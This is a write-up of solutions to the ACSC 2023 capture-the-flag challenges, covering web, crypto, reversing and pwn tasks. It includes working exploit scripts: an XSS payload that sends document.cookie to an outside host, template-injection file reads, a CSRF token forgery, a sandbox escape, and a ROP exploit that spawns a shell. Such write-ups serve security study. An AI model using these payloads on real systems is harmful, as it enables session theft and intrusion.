# ACSC 2023 Writeups
* Author: [maple3142](https://blog.maple3142.net/)
[toc]
<details>
<summary>Screenshots</summary>
<img src="https://hackmd.io/_uploads/H16OiDd0s.png">
<img src="https://hackmd.io/_uploads/SyPtoDOCo.png">
<img src="https://hackmd.io/_uploads/SJWqoDORi.png">
<img src="https://hackmd.io/_uploads/BJnciD_Ro.png">
</details>
> Having `*` before challenge name means I solved that challenge **after** the competition.
## web
### Admin Dashboard
Find LCG parameters by some easy math then generate the fixed CSRF token for admin, then make it access `addadmin.php` to add a new admin user. Login as the new admin user to get flag.
```python
import requests
from bs4 import BeautifulSoup
import time
host = "http://admin-dashboard.chal.ctf.acsc.asia"
s = requests.Session()
s.get(f"{host}/login.php", params={"username": "supernene", "password": "supernene"})
def get_csrf(s):
soup = BeautifulSoup(s.get(f"{host}/addadmin.php").text, "html.parser")
return soup.select_one("input[name=csrf-token]").get("value")
def solve_lcg(lcgs, M):
s0, s1, s2, s3, *_ = lcgs
a = (s2 - s1) * pow(s1 - s0, -1, M) % M
c = (s2 - s1 * a) % M
for s, ss in zip(lcgs, lcgs[1:]):
assert (a * s + c) % M == ss
return a, c
def recover_lcg():
lcgs = []
for i in range(4):
lcgs.append(int(get_csrf(s), 16))
print("sleep", i)
time.sleep(31)
lcgs = [
242981959512841268705863502937240266293,
212806348908635434486040285071576691911,
35736567988205438078302479881533288039,
161950064289252241438657334521470156708,
]
print(lcgs)
print(solve_lcg(lcgs, M))
# recover_lcg()
M = 0xC4F3B4B3DEADBEEF1337C0DEDEADC0DD
A, C = (39238395068069510873877941548003979614, 163462177865055857243861130640161174000)
s0 = int(b"admin".hex(), 16)
s = (A * s0 + C) % M
print(hex(s)[2:])
# submit
# http://localhost/addadmin.php?username=elitemiko&password=elitemiko&csrf-token=1fe69abb084e42434627a84405d722e0
# then login with elitemiko:elitemiko
# ACSC{C$rF_15_3VerYwh3Re!}
```
### easySSTI
Read the framework source code we see that there is a filesystem access with `.Echo.Filesystem`, but to read the file you need to have a `[]byte` buffer to write to. Fortunately, we see `.Get "template"` will be our template in `[]byte`, so we can just reuse it to store the flag.
```bash
curl 'http://easyssti.chal.ctf.acsc.asia:8000/' -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}'
```
then you will get
```
26 [65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 32 123 123 32 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 32 125 125]
```
decode it with `bytes(eval(s.replace(' ',',')))`: `ACSC{h0w_did_y0u_leak_me}`
### Gotion
The challenge use a nginx config enables byte-ragne caching like this:
```nginx
location ~ .mp4$ {
# Smart and Efficient Byte-Range Caching with NGINX
# https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
proxy_cache mycache;
slice 4096; # Maybe it should be bigger?
proxy_cache_key $host$uri$is_args$args$slice_range;
proxy_set_header Range $slice_range;
proxy_http_version 1.1;
proxy_cache_valid 200 206 1h;
proxy_pass http://app:3000;
}
```
But the `.mp4` regex misuse the `.` character, so it will also match path like `/notes/834dc5a4-45c9-45a7-ba4e-a5969a18fb8b-amp4`.
By playing with the byte caching with a custom server locally, we know that nginx will try to parse your `Range` header and align it to `4096` blocks, so `$slice_range` will always be `0-4095` or `4096-8191`. Also, since `$slice_range` is used in cache key so different ranges will have different cache.
So if we create a new note and only access its second block (`4096-8191`), then we edit the note content to be shorter and then access the first block (`0-4095`). So if we access the note regularly, nginx will concat the content of the two cached block and send it to client. Therefore, with a carefully block alignment (like heap pwn) it is possible to make the first block end with `<`, and the start of second block will be user-controlled content. Then we can get xss with `<img onerror=alert() src=x:`.
```python
import requests
import string
import os
# host = "http://localhost:30080"
host = "http://gotion.chal.ctf.acsc.asia"
# host = "http://gotion-2.chal.ctf.acsc.asia:30080"
pl = 'img onerror=location.assign(`//s.maple3142.net:3535/?${document.cookie}`) src=x:'.ljust(87, ' ')
path = requests.post(
f"{host}/new-note",
data={
"title": "mp4".rjust(20, 'x'),
"body": 'x' * (1024 - len(pl)) + pl,
},
allow_redirects=False,
).headers["Location"]
print(path)
note_id = path.split("/")[-1]
print(note_id)
r = requests.get(f"{host}{path}", headers={"Range": "bytes=4096-"})
print(r.headers)
print(r.text)
requests.post(
f"{host}/update-note",
data={
"noteId": note_id,
"title": "mp4",
"body": "y" * 946,
},
allow_redirects=False,
)
r = requests.get(f"{host}{path}", headers={"Range": "bytes=-4095"})
print(r.headers)
print(r.text)
r = requests.get(f"{host}{path}")
print(r.headers)
print(r.text)
print(f"{host}{path}")
# to submit, just create another note and edit the form (to pass recaptcha)
# ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}
```
## crypto
### Merkle Hellman
This challenge implemented a [Merkle–Hellman knapsack cryptosystem](https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem) and encrypt the flag char by char, and the private key is also given.
But the length of public key is just 7, so for implementation simplicity we can simply bruteforce $2^7$ possibilities for each char to decrypt the flag.
```python
from itertools import product
pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
q = 20910
def decrypt(pk, c):
for xs in product(range(2), repeat=7):
if sum(x * y for x, y in zip(pk, xs)) == c:
s = ''.join(str(x) for x in xs)
return chr(int(s, 2))
flag = ''.join(decrypt(pk, c) for c in ct)
print(flag)
# ACSC{E4zY_P3@zy}
```
### Check_number_63
We are given a bunch of $e_i,k_i$ that satisify:
$$
e_id_i = 1+k_i\varphi(n)
$$
then we have:
$$
\varphi(n) \equiv \frac{-1}{k_i} \pmod{e_i}
$$
Then we CRT to get $t \equiv \varphi(n) \pmod{L}$ for $L=\prod{e_i}$, so $x \equiv n-t+1 \equiv p+q \pmod{L}$.
Since $L$ is slightly less than the size of $p+q$, we bruteforce $x+yL$ to find $p+q$ and factor $n$ by solving a quadratic equation.
```python
from hashlib import sha512
with open("output.txt") as f:
n = ZZ(f.readline().split(" = ")[1])
ee = []
kk = []
for line in f:
e, k = line.split(":")
ee.append(ZZ(e))
kk.append(ZZ(k))
t = crt([-1 / k % e for k, e in zip(kk, ee)], ee)
print(t)
L = reduce(lcm, ee)
p_plus_q_mod_L = (n - t + 1) % L
def solve_quadratic(a, b, c):
D = b**2 - 4 * a * c
if D >= 0 and ZZ(D).is_square():
D = ZZ(D).sqrt()
x1 = (-b + D) // (2 * a)
x2 = (-b - D) // (2 * a)
return x1, x2
def factor_with_sum(n, p_plus_q):
# (x-p)(x-q)=x^2-(p+q)*x+n
s = solve_quadratic(1, -p_plus_q, n)
if s:
p, q = s
if n % p == 0:
return p, q
for t in range(100000):
p_plus_q = p_plus_q_mod_L + t * L
sol = factor_with_sum(n, p_plus_q)
if sol:
print(sol)
p, q = sol
if p > q:
p, q = q, p
flag = "ACSC{" + sha512(f"{p}{q}".encode()).hexdigest() + "}"
print(flag)
break
# ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}
```
### Dual Signature Algorithm
We have two modular equation:
$$
\begin{aligned}
f_1(k, d) &\equiv 0 \pmod{q_1} \\
f_2(k, d) &\equiv 0 \pmod{q_2}
\end{aligned}
$$
Take `F = crt([f1, f2], [q2, q2])`, then $F(k,d) \equiv 0 \pmod{q_1 q_2}$.
Since $q_1 q_2$ is much larger then the size of $k, d$, we use LLL to find it.
```python
import os
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
g = 4
p1, p2 = (
6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699,
6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839,
)
y1, y2 = (
4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074,
1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759,
)
m = b"omochi mochimochi mochimochi omochi"
r1, s1 = (
2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630,
705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802,
)
r2, s2 = (
3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604,
2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373,
)
q1, q2 = (p1 // 2), (p2 // 2)
def h(m: bytes) -> int:
return int(sha256(m).hexdigest(), 16)
z = h(m)
q = q1 * q2
k, d = Zmod(q)["k, d"].gens()
f1 = s1 * k - r1 * d - z
f2 = s2 * k - r2 * d - z
f = crt([f1, f2], [q1, q2])
M = matrix(ZZ, f.coefficients()).T
M = M.augment(matrix.identity(3))
K = isqrt(q)
M[-1, -1] *= K
M = M.stack(vector([q] + [0] * 3))
M[:, 0] *= 2 ^ 512
print(f)
print(M.change_ring(Zmod(100)))
delta = []
basis = []
for row in M.LLL():
print(row)
if row[-1] == -K:
row = -row
if row[0] == 0 and row[-1] == K:
x_cand = row[2]
if pow(g, x_cand, p1) == y1 and pow(g, x_cand, p2) == y2:
print('good', x_cand)
print(long_to_bytes(x_cand))
break
# ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}
```
### Corrupted
First we fix the PEM formatting by adding newlines appropriately, then replace `?` with `A`. By the file length we know it is a corrupted RSA-2048 private key. We can generate another key with `ssh-keygen -t rsa -b 2048 -m pem` for comparison.
Decode the base64 into a binary and open a hex editor (like ImHex), so we can attempt to decode the data with ASN.1 parsing rules and RSA key format:
```
PrivateKeyInfo ::= SEQUENCE {
version Version,
privateKeyAlgorithm AlgorithmIdentifier ,
privateKey PrivateKey,
attributes [0] Attributes OPTIONAL
}
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
```
> Taken from [RECOVERING A FULL PEM PRIVATE KEY WHEN HALF OF IT IS REDACTED](https://blog.cryptohack.org/twitter-secrets)
![ImHex screenshot](https://hackmd.io/_uploads/B11X8udAs.png)
After that, we know the start byte index and the byte length for each integer, but only $n$ is fully given (not corrupted) and $e$ is partially corrupted but it is easy to guess $e=65537$. All the other parameters from $d,p,q,d_p,d_q,\cdots$ have random bits being corrupted.
I used the method given in **section 4.3.2** in [Recovering cryptographic keys from partial
information, by example](https://eprint.iacr.org/2020/1506.pdf).
We have:
$$
ed_p=1+k_p(p-1) \\
ed_q=1+k_q(q-1)
$$
and $k_p,k_q$ satisfy $(k_p-1)(k_q-1) \equiv k_pk_qn \pmod{e}$. So we only have to guess at most $e$ pairs of $(k_p,k_q)$.
Then we iteratively search the unknown bits using branch-and-prune to find integers simultaneously satisfying the following equations:
$$
\begin{aligned}
ed_p &\equiv 1+k_p(p-1) \pmod{2^i} \\
ed_q &\equiv 1+k_q(q-1) \pmod{2^i} \\
pq &\equiv n \pmod{2^i}
\end{aligned}
$$
```python
from binteger import Bin
import sys
from tqdm import tqdm
# recursion go brrrrr
sys.setrecursionlimit(1000000)
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def custom_b64decode(s):
bits = []
for c in s:
if c == "?":
bits += ["?"] * 6
else:
x = base64_chars.index(c)
bits += list(map(int, f"{x:06b}"))
return bits
# manually fix the format by hand first (like inserting '\n' at appropriate places)
with open("fix.pem") as f:
s = "".join(list(f)[1:-1]).strip().replace("\n", "")
print(s, len(s))
bits = custom_b64decode(s)
print(len(bits) // 8)
p_idx = 537
q_idx = 669
p = bits[p_idx * 8 : (p_idx + 129) * 8][::-1][:-8]
q = bits[q_idx * 8 : (q_idx + 129) * 8][::-1][:-8]
print(hex(Bin([0 if type(x) == str else x for x in p[::-1]]).int))
print(hex(Bin([0 if type(x) == str else x for x in q[::-1]]).int))
dp_idx = 801
dq_idx = 932
dp = bits[dp_idx * 8 : (dp_idx + 128) * 8][::-1]
dq = bits[dq_idx * 8 : (dq_idx + 128) * 8][::-1]
print(hex(Bin([0 if type(x) == str else x for x in dp[::-1]]).int))
print(hex(Bin([0 if type(x) == str else x for x in dq[::-1]]).int))
def gen_cands(bv, i):
if bv[i] == "?":
for j in range(2):
yield bv[:i] + [j]
else:
yield bv[: i + 1]
def bv2i(bv, i=None):
if i is None:
i = len(bv)
return Bin(bv[:i][::-1]).int
# https://eprint.iacr.org/2020/1506.pdf
def search_factor(n, p, q, dp, dq, i=0):
M = 2**i
tp = bv2i(p, i)
tq = bv2i(q, i)
eq1 = (e * bv2i(dp, i) - 1 + kp) % M == (kp * tp) % M
eq2 = (e * bv2i(dq, i) - 1 + kq) % M == (kq * tq) % M
eq3 = tp * tq % M == n % M
if not all([eq1, eq2, eq3]):
return
if i >= len(p) or i >= len(q):
yield p, q
return
if p[i] == "?" or q[i] == "?" or dp[i] == "?" or dq[i] == "?":
M = 2 ** (i + 1)
cp = p[:i]
cq = q[:i]
for pc in gen_cands(p, i):
for qc in gen_cands(q, i):
for dpc in gen_cands(dp, i):
for dqc in gen_cands(dq, i):
pp = Bin(pc[::-1]).int
qq = Bin(qc[::-1]).int
dpdp = Bin(dpc[::-1]).int
dqdq = Bin(dqc[::-1]).int
eq1 = (e * dpdp - 1 + kp) % M == (kp * pp) % M
eq2 = (e * dqdq - 1 + kq) % M == (kq * qq) % M
eq3 = pp * qq % M == n % M
if all([eq1, eq2, eq3]):
yield from search_factor(
n,
pc + p[i + 1 :],
qc + q[i + 1 :],
dpc + dp[i + 1 :],
dqc + dq[i + 1 :],
i + 1,
)
else:
yield from search_factor(n, p, q, dp, dq, i + 1)
print(len([1 for x in p if x == "?"]))
print(len([1 for x in q if x == "?"]))
print(len([1 for x in dp if x == "?"]))
print(len([1 for x in dq if x == "?"]))
n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
for kp in tqdm(range(e)):
try:
# https://eprint.iacr.org/2020/1506.pdf
# section 4.1 equation 2
kq = -(kp - 1) * pow(kp * n - kp + 1, -1, e) % e
except ValueError:
print(":(", kp)
continue
for fp, fq in search_factor(n, p, q, dp, dq):
pp = Bin(fp[::-1]).int
qq = Bin(fq[::-1]).int
if pp * qq == n:
print(pp)
print(qq)
exit()
```
Then we generate the fixed key with:
```python
from Crypto.PublicKey import RSA
import os
n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
p = 155299541009430809588425062720223500928329492369022122705786709666016799594094715510895512501712395026781939010582285702324133278500187668837746550939078189422934363524539257681962581826377503167383057860454621968968810001249538573209788164770274648965392813272525012357962769601749883966238281222460619331027
q = 130005404238627558873036684157866291284175474003438745578515687995645550973205054039649665424796512358913432509208859266795477059889954450480912297985878420461860492546158628836966054968695441928927694400623688256686778226818353096884866419423840384345802893831166438228156191918173410848482398330358248591013
d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d))
with open("key.pem", "wb") as f:
f.write(key.exportKey("PEM"))
os.chmod("key.pem", 0o600)
os.system("ssh godam@corrupted.chal.ctf.acsc.asia -i key.pem")
# ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}
```
### *SusCipher
Implemented the cipher in Z3 during the competition but can't get it work efficiently. Thanks @deuterium for telling me I need to minimize the number of bits of chosen plaintexts.
```python
from z3 import *
from pwn import process, remote
from task import SusCipher
class Z3Cipher:
S = SusCipher.S
P = SusCipher.P
def __init__(self, sol, subkeys):
self.sol = sol
self.subkeys = subkeys
self.sbox = z3.Function("SBOX", z3.BitVecSort(6), z3.BitVecSort(6))
for i in range(64):
self.sol.add(self.sbox(i) == self.S[i])
def _sub(self, block):
return [self.sbox(v) for v in block]
def _perm(self, block):
bits = []
for b in block:
for i in range(6):
bits.append(Extract(5 - i, 5 - i, b))
new_bits = ["_"] * 6 * 8
for i in range(6 * 8):
new_bits[self.P[i]] = bits[i]
ret = []
for i in range(8):
x = Concat(new_bits[i * 6 : (i + 1) * 6])
ret.append(x)
return ret
def _xor(self, a, b):
return [x ^ y for x, y in zip(a, b)]
def encrypt(self, block):
block = self._xor(block, self.subkeys[0])
for r in range(3):
block = self._sub(block)
block = self._perm(block)
block = self._xor(block, self.subkeys[r + 1])
return block
# io = process(["python", "task.py"])
io = remote("suscipher.chal.ctf.acsc.asia", 13579)
msgs = [1 << i for i in range(48)]
io.sendlineafter(b"> ", ",".join(map(str, msgs)).encode())
cts = list(map(int, io.recvlineS().strip().split(", ")))
sol = Solver()
subkeys = [[BitVec(f"k_{i}_{j}", 6) for j in range(8)] for i in range(3 + 1)]
z3c = Z3Cipher(sol, subkeys)
for msg, ct in zip(msgs, cts):
msg = SusCipher._divide(msg)
ct = SusCipher._divide(ct)
sct = z3c.encrypt(msg)
for x, y in zip(ct, sct):
sol.add(x == y)
print("Solving...")
assert sol.check() == sat
m = sol.model()
key = SusCipher._combine([m.eval(x).as_long() for x in subkeys[0]])
print(key)
io.sendlineafter(b"> ", str(key).encode())
io.interactive()
# ACSC{There_may_be_a_better_solution_to_solve_this_but_I_used_diff_analysis_:(}
```
## rev
### serverless
The encryptor choose random 2 primes and encrypt the flag with textbook RSA, then encrypt the RSA ciphertext with xor cipher.
Since the xor key is known, simply xor it back and do RSA decryption to get flag.
```python
from base64 import *
from Crypto.Util.number import long_to_bytes
ar1 = [
8026407584881212335717763155461175939053253449558928097356743317580304745257836900537741725487713354811898351514317778474405234115608371781687347872491703,
9901479087075272465000928546760145175528311831313716995411286084780215684429457115750234954269995515521497208022159902709895803492831087888441410900661623,
8903225968632645048112414558941014482368293389707967329431586917899894237468493767277617251082326067122876205027521423107103664566560453106513383698662841,
7306065826954797942887008925345768422542194975212611412996809619206152967943872265885214129607801191067761271051786230521446267111488994860029935891658147,
13002100837416249802976975336617228981498976557336038776019341954643478558536425323716753407024112736914972406623544975287903736193016505594778344376373179,
11576051655637376487642664054274257390376244499880178084751392229273250591900336107156856829956635498116092894051582635232354596017926523129295080605554429,
7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977,
6783142639439350199274781001550540761424373981915677251043304945175275590386243548101294984514936470982791698773776831533758049672189386462720647770985001,
11319393487244650012717839752121654225994209596419701136831846093323997458647164935453184402661574913288632779725321036933530944725804415713594714876906847,
9585387948560465713976215768016745842108284855244208916003456862520169267729486151203630145345165962235437344782253615764252330421571444685028102486610567,
]
ar2 = [
11138133675080925873149032570509408923592577663944493077262179603892338339426376013580530251498364611817562627156767932116957250284539752419366057012361649,
10574147867451418851637041344231275651423577891311215749455683353579335478795148329490570900445186263552549726662037946613806250295825461252937365691144757,
10674081755614194430694316863648731761829693259627261111906003227581182291436573479641202865404241412518768803795734995501804298710271483715401954860647953,
12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007,
8972395174076295368444847039674947715229479296809544092248089326976428235345226886712046918654462399484955991711195283733874190395639967899628857836740743,
9527362749634281224487906953140787001780863710164703682625342548102961426576294773243660413567139103445338886795721973525199297094569903788493496539197863,
10229709325149619765696926612743287965524038512950567412494449028112447211284065074607122123674007398601575622550266734924682588447213742414387099108109461,
6775733025973714289289099342079544491278357801546402292504820748645442063442072618107305909729834896739059944218135896652802888272263806165032921710097769,
11844424614832993323731152366810540116450336338053864348795634499070072404906281126852701590624769842713079092273019871232731892965721940265502359688474441,
6939919557269991460418095931967704251043296456961607911365019726251568836845834148571433683707268031711944237071545445764147715416436144904514445039547287,
]
x = b64decode(
b"MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"
).decode()
ct = bytearray(eval(x)[::-1])
key = b"acscpass"
for i in range(len(ct)):
ct[i] ^= key[i % len(key)]
*cc, s, k, j = ct
c = int.from_bytes(bytes(cc), "little")
p, q = ar1[j], ar2[k]
n = p * q
e = 2 ** (2**s) + 1
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
# ACSC{warmup_challenge_so_easy}
# https://github.com/relative/synchrony
```
### ngo
There is a [Galois LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register#Galois_LFSRs) is the binary, and it is generating the flag by xoring the $k$-th output with some known numbers where $k=1, 1+42, 1+42+42^2, \cdots$.
Since the max length of that LFSR is $2^{32}-1$, computing $(k \mod{2^{32}-1})$-th output is enough.
```python
data = 0x3D2964F0
def magic():
# galois lfsr
global data
v1 = data & 1
data >>= 1
if v1:
data ^= 0x80200003
return data
ct = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21]
cycle = 0xFFFFFFFF
to_get = [1]
for _ in range(5):
to_get.append(42 * to_get[-1] % cycle)
print(to_get)
# prefix sum
for i in range(1, len(to_get)):
to_get[i] += to_get[i - 1]
dt = {}
for i in range(1, max(to_get) + 1):
v = magic()
if i in to_get:
dt[i] = v
flag = ""
for x, y in zip(to_get, ct):
print(x, hex(dt[x]))
flag += chr((dt[x] & 0xFF) ^ y)
print(f"ACSC{{{flag}}}")
# use pypy3
# ACSC{yUhFgRvQ2Afi}
```
## pwn
### Vaccine
BOF to rop leak `puts@GOT` and go back to `main`, then BOF again to do ret2libc.
```python
from pwn import *
import os
os.chdir("./bin")
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF("../libc-2.31.so")
elf = ELF("./vaccine")
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
print(rop.dump())
context.log_level = "debug"
payload = flat(rop.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))
# io = gdb.debug("./vaccine", "b *(main+417)\nc")
# io = process("./vaccine")
io = remote("vaccine.chal.ctf.acsc.asia", 1337)
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.recvuntil(b"correct vaccine!\n")
print(io.recvlineS().strip())
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload = flat(rop2.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.interactive()
# ACSC{RoP_3@zy_Pe4$y}
```
### evalbox
`sol2.py`:
```python
f=open('/tmp/x', 'wb')
f.write(bytes.fromhex('PLACEHOLDER'))
f.flush()
```
`sol3.py`:
```python
import os
os.chmod('/tmp/x', 0o777)
os.execve('/tmp/x',['x'],{})
```
and we prepare a static binary to `opendir` for us and write a wrapper script:
```python
import sys
with open('main', 'rb') as f:
data = f.read()
with open(sys.argv[1], "rb") as f:
c = f.read()
c = c.replace(b'PLACEHOLDER', data.hex().encode())
# print(c.decode())
h = c.hex()
print(f'exec(bytes.fromhex("{h}"))')
```
source code of `main`:
```c
#include <dirent.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
DIR *dp;
struct dirent *dirp;
dp = opendir(".");
while ((dirp = readdir(dp)) != NULL)
printf("%s\n", dirp->d_name);
return 0;
}
// musl-gcc main.c -o main -static -Os && strip main
```
Then we get the flag filename with:
```bash
python wrap.py sol2.py | nc evalbox.chal.ctf.acsc.asia 9999
python wrap.py sol3.py | nc evalbox.chal.ctf.acsc.asia 9999
```
Then read the flag with `print((f:=open('flag-0479f1dcda629bbe833598bce876a647.txt')).read())`.
`ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}`